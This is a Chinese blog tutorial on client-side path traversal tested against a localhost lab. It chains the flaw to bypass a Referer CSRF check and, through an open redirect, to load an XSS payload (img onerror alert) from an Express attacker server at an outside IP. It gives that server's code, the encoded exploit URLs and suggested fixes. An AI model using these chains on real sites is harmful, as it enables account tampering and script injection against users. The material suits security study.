CSPT全称是Client-Side Path Traversal ，即客户端路径遍历。
概念说明
CSPT 全称 Client-Side Path Traversal（客户端路径遍历），是一种针对前端应用的漏洞，核心是攻击者通过篡改 URL 参数、请求参数等，让浏览器（客户端）错误地向非预期的服务器路径发送请求，从而获取本不应访问的数据或资源。
它的本质是 “前端逻辑对参数校验不严格”，区别于传统的 “服务端路径遍历”（攻击目标是服务器文件系统）：
攻击对象：浏览器的请求逻辑（而非服务器）；
核心结果：让浏览器请求到开发者未开放的 API 接口、JSON 数据文件等；
如果配合其他漏洞，可能会触发或绕过达成某些漏洞的利用，多用于chain二次攻击。
跟上我的节奏，让我们揭开这个漏洞的神秘面纱。漏洞基本特征:
浏览器上访问 用户资料页面:
http://localhost:9999/public/profile.html?id=1
除了触发本身的前端页面外，还会触发一个api接口
api接口: http://localhost:9999/api/users/1
response返回:
api接口会把返回映射返回给前端输出响应。
用一张图总结下此特征:
修改id=123
http://localhost:9999/public/profile.html?id=123
后端会去尝试请求:
http://localhost:9999/api/users/123
那么这里大家发现没有，我们发现api路径上的id可控，即可
http://localhost:9999/api/users/{可控}
有这个特征，那么我们可以做什么？
输入http://localhost:9999/public/profile.html?id=../123
api会去请求http://localhost:9999/api/123
现在我们通过客户端(前端)的访问，任意控制后端api的路由走向。
单看CSPT漏洞，感觉这种行为没有任何意义。因为我们用户本身就可以访问api接口。
现在我们把CSPT代入到CSRF漏洞
可用业务场景1:
用户访问
http://localhost:9999/public/profile.html?id=1
输出用户信息 如id 姓名和头像。
站点内，我们发现了一个get请求的修改用户姓名的接口如下所示:
http://localhost:9999/api/profile?id=1&name=test
当我们直接访问他，它存在安全限制，csrf最常见的安全修复方案就是referer限制。
因为有referer限制，我无法csrf修改用户信息成功。那么此时CSPT漏洞的作用就来了。
已知:
http://localhost:9999/public/profile.html?id=1
返回接口:http://localhost:9999/api/users/1
构造可以csrf的CSPT接口:
http://localhost:9999/public/profile.html?id=../profile?id=1&name=test
因为是客户端漏洞，所以最好有必要对特殊字符串进行url编码下:
http://localhost:9999/public/profile.html?id=..%2fprofile%3fid%3d1%26name%3dtest
使用浏览器再次访问:
此时利用CSPT，我们成功绕过了csrf限制，通过网络数据请求，你能看到他携带了referer。
现在我们刷新我们的id=1的用户页面:
此时姓名已经被修改掉了，说明csrf成功。比起传统的referer url绕过，使用CSPT更加方便，更加智能。
可用业务场景2:
如果一个网站同时具备CSPT+api接口url跳转漏洞，那么此时我们可以把这个漏洞升级成一个xss漏洞。
那么我们来看看吧，怎么做？
首先是api接口的url跳转:
http://localhost:9999/redirect?url=https://example.com
这个url跳转，无法使用伪协议进行xss攻击。那么他的危害相对就小了，只能钓鱼。
小小的跳转，是如何和无用的CSPT配合的。
让我们回到最开始CSPT的业务现场:
访问http://localhost:9999/public/profile.html?id=1
触发api接口:http://localhost:9999/api/users/1
response返回:
{"id": 1, "name": "test", "profilePic": "/public/images/user1.jpg"}
api接口的json信息，会映射到前端页面上:
现在我们在api接口上发现了一个url跳转漏洞，那么此时思路就来了。我们能不能，有没有可能通过CSPT漏洞，请求api接口实现跳转，在页面上加载恶意的json返回？
这里直接上写好的利用代码:
const express = require('express');
const app = express();
// 配置 CORS 头，允许目标平台（localhost:9999）跨域读取
app.use((req, res, next) => {
console.log('收到请求:', req.method, req.url);
console.log('请求头:', req.headers);
res.setHeader('Access-Control-Allow-Origin', 'http://localhost:9999');
res.setHeader('Access-Control-Allow-Credentials', 'true');
// 不在这里统一设置Content-Type，让每个路由单独设置
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');
res.setHeader('Access-Control-Max-Age', '86400');
next();
});
// 修改为专门支持CSPT漏洞利用的响应格式
app.get('/xss', (req, res) => {
console.log('处理/xss请求，为CSPT漏洞利用返回JSON格式响应');
res.setHeader('Content-Type', 'application/json');
const maliciousData = {
id: "<img src=\"x\" onerror=\"alert(321)\" />",
name: "hello",
profilePic: "/public/images/default.jpg"
};
console.log('发送JSON格式XSS响应:', JSON.stringify(maliciousData));
res.json(maliciousData);
});
const PORT = 5001;
app.listen(PORT, () => {
console.log(`攻击者服务（XSS 弹窗版）启动：http://localhost:${PORT}`);
});
远程服务器上使用node启动:
CSPT雏形:
http://localhost:9999/public/profile.html?id=1 ==>http://localhost:9999/api/users/1
演变:
http://localhost:9999/public/profile.html?id=../../redirect?url=https://example.com
==>
http://localhost:9999/public/profile.html?id=..%2f..%2fredirect%3furl%3dhttps%3a%2f%2fexample.com
==>
http://localhost:9999/redirect?url=https://example.com
==>
https://example.com
效果:
此时你会发现访问example.com的时候报错红色了。
所以这也解释了为什么利用攻击代码中为什么要设置Access-Control-*的原因。
万事俱备，直接利用实现xss吧:
http://localhost:9999/public/profile.html?id=../../redirect?url=http://38.207.176.172:5000/xss
==>
http://localhost:9999/public/profile.html?id=..%2F..%2Fredirect%3Furl%3Dhttp%3A%2F%2F38.207.176.172%3a5001%2fxss
==>
http://localhost:9999/redirect?url=http://38.207.176.172:5001/xss
==>
http://38.207.176.172:5001/xss
编码访问:
http://localhost:9999/public/profile.html?id=..%2F..%2Fredirect%3Furl%3Dhttp%3A%2F%2F38.207.176.172%3a5001%2fxss
页面渲染了api 返回内容，导致了xss攻击。
来看下为什么会xss攻击？
GET
http://38.207.176.172:5001/xss
response返回:
{"id":"<img src=\"x\" onerror=\"alert(321)\" />","name":"hello","profilePic":"/public/images/default.jpg"}
从代码角度来看:
userInfoDiv.innerHTML = `
<h2>用户信息</h2>
<p><strong>ID:</strong> ${data.id || '未知'}</p>
<p><strong>姓名:</strong> ${data.name || '未知'}</p>
<p><strong>头像:</strong> <img src="${data.profilePic || '/public/images/default.jpg'}" alt="用户头像" width="100" height="100"></p>
`;
通过url跳转伪造页面，实现渲染了用户植入的恶意代码。
总结，要实现xss漏洞，我们需要必须条件？
1.支持CSPT特性
2.api接口存在url跳转漏洞
3.页面支持innerHTMl或者document.write输出。
这里选择了伪造id参数，id一般是数据库的key，是不可控的，即使是存在危险sink，也是无法xss，但是这里巧妙的利用了CSPT+url跳转漏洞实现了xss攻击。
漏洞修复方案:
1.waf拦截../
2.用 “资源唯一标识” 替代 “路径参数”
前端：参数不拼路径，拼前先做过滤；
后端：格式权限双验，白名单锁范围。
扫一扫
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
